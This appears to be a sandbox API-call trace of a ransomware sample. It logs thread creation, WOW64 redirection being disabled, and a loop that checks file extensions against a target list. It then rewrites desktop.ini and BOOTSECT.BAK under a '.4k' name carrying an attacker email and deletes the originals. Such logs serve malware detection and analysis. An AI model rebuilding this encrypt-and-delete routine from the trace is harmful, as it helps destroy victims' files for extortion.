	[0085.036] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4f0ff0
	[0085.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f0ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c
	[0086.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f0ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120
	[0086.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f0ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124
	[0086.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f0ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128
	[0086.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0128
	[0086.164] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0128, Size=0x20) returned 0x4d5c28
	[0086.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0128
	[0086.164] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0128, Size=0x20) returned 0x4d5bd8
	[0086.164] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0087.581] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0087.581] Wow64DisableWow64FsRedirection (in: OldValue=0x250ff84 | out: OldValue=0x250ff84*=0x0) returned 1
	[0087.581] lstrlenW (lpString="kernel32.dll") returned 12
	[0087.581] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5c28 | out: hHeap=0x4a0000) returned 1
	[0087.581] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0087.581] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5bd8 | out: hHeap=0x4a0000) returned 1
	[0087.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4db400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130
	[0087.584] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0087.980] GetTickCount () returned 0x1c734
	[0087.980] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0088.164] GetTickCount () returned 0x1c7ef
	[0088.164] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0088.479] GetTickCount () returned 0x1c86c
	[0088.479] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0088.616] GetTickCount () returned 0x1c8f9
	[0088.616] GetTickCount () returned 0x1c8f9
	[0088.616] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0089.361] GetTickCount () returned 0x1cb88
	[0089.361] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0089.890] GetTickCount () returned 0x1cd8b
	[0089.890] GetTickCount () returned 0x1cd8b
	[0089.890] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0090.435] GetTickCount () returned 0x1cf8d
	[0090.435] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0090.841] GetTickCount () returned 0x1d0c5
	[0090.841] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0091.139] GetTickCount () returned 0x1d1ee
	[0091.139] GetTickCount () returned 0x1d1ee
	[0091.139] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0091.323] GetTickCount () returned 0x1d2a9
	[0091.323] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0091.781] GetTickCount () returned 0x1d3f1
	[0091.781] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0092.036] GetTickCount () returned 0x1d4ea
	[0092.036] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0092.391] GetTickCount () returned 0x1d596
	[0092.392] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0093.132] GetTickCount () returned 0x1d74b
	[0093.132] GetTickCount () returned 0x1d74b
	[0093.132] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0093.346] GetTickCount () returned 0x1d815
	[0093.346] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0093.681] GetTickCount () returned 0x1d96d
	[0093.681] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0093.933] GetTickCount () returned 0x1da47
	[0093.933] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0094.411] GetTickCount () returned 0x1dc2b
	[0094.411] GetTickCount () returned 0x1dc2b
	[0094.411] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0095.469] GetTickCount () returned 0x1dd34
	[0095.469] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0096.005] GetTickCount () returned 0x1de9b
	[0096.005] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0096.125] GetTickCount () returned 0x1df08
	[0096.125] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0096.398] GetTickCount () returned 0x1e021
	[0096.399] GetTickCount () returned 0x1e021
	[0096.399] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0096.635] GetTickCount () returned 0x1e10b
	[0096.635] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0096.781] GetTickCount () returned 0x1e197
	[0096.781] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0097.111] GetTickCount () returned 0x1e2b0
	[0097.111] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0097.371] GetTickCount () returned 0x1e3a9
	[0097.371] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0098.228] GetTickCount () returned 0x1e4e1
	[0098.228] GetTickCount () returned 0x1e4e1
	[0098.228] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0098.559] GetTickCount () returned 0x1e629
	[0098.559] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0098.958] GetTickCount () returned 0x1e761
	[0098.958] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0099.134] GetTickCount () returned 0x1e80d
	[0099.134] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0099.277] GetTickCount () returned 0x1e899
	[0099.277] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0099.422] GetTickCount () returned 0x1e935
	[0099.422] GetTickCount () returned 0x1e935
	[0099.422] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0099.857] GetTickCount () returned 0x1ea7d
	[0099.857] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0100.472] GetTickCount () returned 0x1ecdd
	[0100.472] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0100.788] GetTickCount () returned 0x1ee15
	[0100.788] GetTickCount () returned 0x1ee15
	[0100.788] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0101.183] GetTickCount () returned 0x1efab
	[0101.183] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0101.432] GetTickCount () returned 0x1f0a4
	[0101.432] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0101.862] GetTickCount () returned 0x1f24a
	[0101.862] GetTickCount () returned 0x1f24a
	[0101.862] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0102.171] GetTickCount () returned 0x1f305
	[0102.171] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0102.371] GetTickCount () returned 0x1f3a1
	[0102.371] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0102.495] GetTickCount () returned 0x1f41e
	[0102.495] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0102.710] GetTickCount () returned 0x1f4e8
	[0102.710] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0102.816] GetTickCount () returned 0x1f556
	[0102.816] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0102.935] GetTickCount () returned 0x1f5d2
	[0102.935] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.045] GetTickCount () returned 0x1f640
	[0103.045] GetTickCount () returned 0x1f640
	[0103.045] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.179] GetTickCount () returned 0x1f6cc
	[0103.179] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.298] GetTickCount () returned 0x1f739
	[0103.298] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.397] GetTickCount () returned 0x1f7a6
	[0103.397] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.506] GetTickCount () returned 0x1f814
	[0103.506] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.617] GetTickCount () returned 0x1f881
	[0103.617] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.724] GetTickCount () returned 0x1f8ee
	[0103.724] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.835] GetTickCount () returned 0x1f95b
	[0103.835] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0103.950] GetTickCount () returned 0x1f9c8
	[0103.950] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.054] GetTickCount () returned 0x1fa36
	[0104.054] GetTickCount () returned 0x1fa36
	[0104.054] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.161] GetTickCount () returned 0x1faa3
	[0104.161] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.273] GetTickCount () returned 0x1fb10
	[0104.273] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.381] GetTickCount () returned 0x1fb7d
	[0104.381] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.489] GetTickCount () returned 0x1fbea
	[0104.489] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.599] GetTickCount () returned 0x1fc58
	[0104.599] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.708] GetTickCount () returned 0x1fcc5
	[0104.708] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.878] GetTickCount () returned 0x1fd61
	[0104.878] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0104.983] GetTickCount () returned 0x1fdce
	[0104.983] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.082] GetTickCount () returned 0x1fe3b
	[0105.082] GetTickCount () returned 0x1fe3b
	[0105.082] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.197] GetTickCount () returned 0x1fea8
	[0105.197] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.301] GetTickCount () returned 0x1ff16
	[0105.301] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.410] GetTickCount () returned 0x1ff83
	[0105.410] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.519] GetTickCount () returned 0x1fff0
	[0105.519] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.628] GetTickCount () returned 0x2005d
	[0105.628] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.740] GetTickCount () returned 0x200ca
	[0105.740] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0105.854] GetTickCount () returned 0x20138
	[0105.854] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0106.058] GetTickCount () returned 0x20202
	[0106.058] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0106.376] GetTickCount () returned 0x2034a
	[0106.376] GetTickCount () returned 0x2034a
	[0106.377] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102
	[0106.792] GetTickCount () returned 0x204e0
	[0106.792] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) 

Thread:
	id = 8
	os_tid = 0xa58


Thread:
	id = 9
	os_tid = 0xa64

	[0087.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x51f860
	[0087.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x52f868
	[0087.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f02d8
	[0087.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4da360
	[0087.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f02a8
	[0087.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2ed0020
	[0087.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0260
	[0087.583] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0260, Size=0x20) returned 0x4d5bd8
	[0087.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0260
	[0087.583] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0260, Size=0x20) returned 0x4d5c28
	[0087.583] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0087.583] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0087.583] Wow64DisableWow64FsRedirection (in: OldValue=0x230ff58 | out: OldValue=0x230ff58*=0x0) returned 1
	[0087.583] lstrlenW (lpString="kernel32.dll") returned 12
	[0087.583] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5bd8 | out: hHeap=0x4a0000) returned 1
	[0087.583] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0087.584] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5c28 | out: hHeap=0x4a0000) returned 1
	[0087.584] Sleep (dwMilliseconds=0x64) 
	[0087.980] Sleep (dwMilliseconds=0x64) 
	[0088.095] lstrcmpiW (lpString1=".ini", lpString2=".4k") returned 1
	[0088.095] lstrlenW (lpString="desktop.ini") returned 11
	[0088.095] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0088.095] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=129) returned 1
	[0088.096] CloseHandle (hObject=0x160) returned 1
	[0088.096] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26
	[0088.096] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.096] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0088.096] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.096] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.096] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.097] GetLastError () returned 0x0
	[0088.097] ReadFile (in: hFile=0x160, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x81, lpOverlapped=0x0) returned 1
	[0088.145] WriteFile (in: hFile=0x164, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x90, lpOverlapped=0x0) returned 1
	[0088.146] ReadFile (in: hFile=0x160, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.147] WriteFile (in: hFile=0x164, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0088.147] SetEndOfFile (hFile=0x164) returned 1
	[0088.147] CloseHandle (hObject=0x164) returned 1
	[0088.153] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.153] SetEndOfFile (hFile=0x160) returned 1
	[0088.154] CloseHandle (hObject=0x160) returned 1
	[0088.154] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x26) returned 1
	[0088.248] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1
	[0088.248] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.248] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.248] lstrlenW (lpString=".doc") returned 4
	[0088.248] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0088.248] lstrlenW (lpString=".docx") returned 5
	[0088.248] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0088.249] lstrlenW (lpString=".pdf") returned 4
	[0088.249] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0088.249] lstrlenW (lpString=".xls") returned 4
	[0088.249] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0088.249] lstrlenW (lpString=".xlsx") returned 5
	[0088.249] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0088.249] lstrlenW (lpString=".ppt") returned 4
	[0088.249] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0088.249] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.249] lstrlenW (lpString=".zip") returned 4
	[0088.249] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0088.249] lstrlenW (lpString=".rar") returned 4
	[0088.249] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0088.249] lstrlenW (lpString=".bz2") returned 4
	[0088.249] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0088.249] lstrlenW (lpString=".7z") returned 3
	[0088.249] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0088.249] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.249] lstrlenW (lpString=".dbf") returned 4
	[0088.249] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0088.249] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.249] lstrlenW (lpString=".1cd") returned 4
	[0088.249] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0088.249] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.249] lstrlenW (lpString=".jpg") returned 4
	[0088.249] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0088.250] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.250] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.250] lstrlenW (lpString=".doc") returned 4
	[0088.250] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0088.250] lstrlenW (lpString=".docx") returned 5
	[0088.250] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0088.250] lstrlenW (lpString=".pdf") returned 4
	[0088.250] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0088.250] lstrlenW (lpString=".xls") returned 4
	[0088.250] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0088.250] lstrlenW (lpString=".xlsx") returned 5
	[0088.250] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0088.250] lstrlenW (lpString=".ppt") returned 4
	[0088.250] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0088.250] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.250] lstrlenW (lpString=".zip") returned 4
	[0088.250] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0088.250] lstrlenW (lpString=".rar") returned 4
	[0088.250] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0088.250] lstrlenW (lpString=".bz2") returned 4
	[0088.250] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0088.250] lstrlenW (lpString=".7z") returned 3
	[0088.250] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0088.250] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.250] lstrlenW (lpString=".dbf") returned 4
	[0088.250] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0088.250] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.250] lstrlenW (lpString=".1cd") returned 4
	[0088.250] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0088.250] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.250] lstrlenW (lpString=".jpg") returned 4
	[0088.250] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0088.251] Sleep (dwMilliseconds=0x64) 
	[0088.546] lstrcmpiW (lpString1=".BAK", lpString2=".4k") returned 1
	[0088.546] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0088.546] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.549] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=8192) returned 1
	[0088.549] CloseHandle (hObject=0x164) returned 1
	[0088.549] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0088.549] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\bootsect.bak.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.549] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0088.550] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0088.550] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.550] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.550] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\bootsect.bak.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0088.550] GetLastError () returned 0x0
	[0088.550] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x2000, lpOverlapped=0x0) returned 1
	[0088.569] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x2010, lpOverlapped=0x0) returned 1
	[0088.570] ReadFile (in: hFile=0x164, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.570] WriteFile (in: hFile=0x170, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0088.570] SetEndOfFile (hFile=0x170) returned 1
	[0088.570] CloseHandle (hObject=0x170) returned 1
	[0088.572] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.572] SetEndOfFile (hFile=0x164) returned 1
	[0088.575] CloseHandle (hObject=0x164) returned 1
	[0088.576] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x27) returned 1
	[0088.577] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0088.580] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
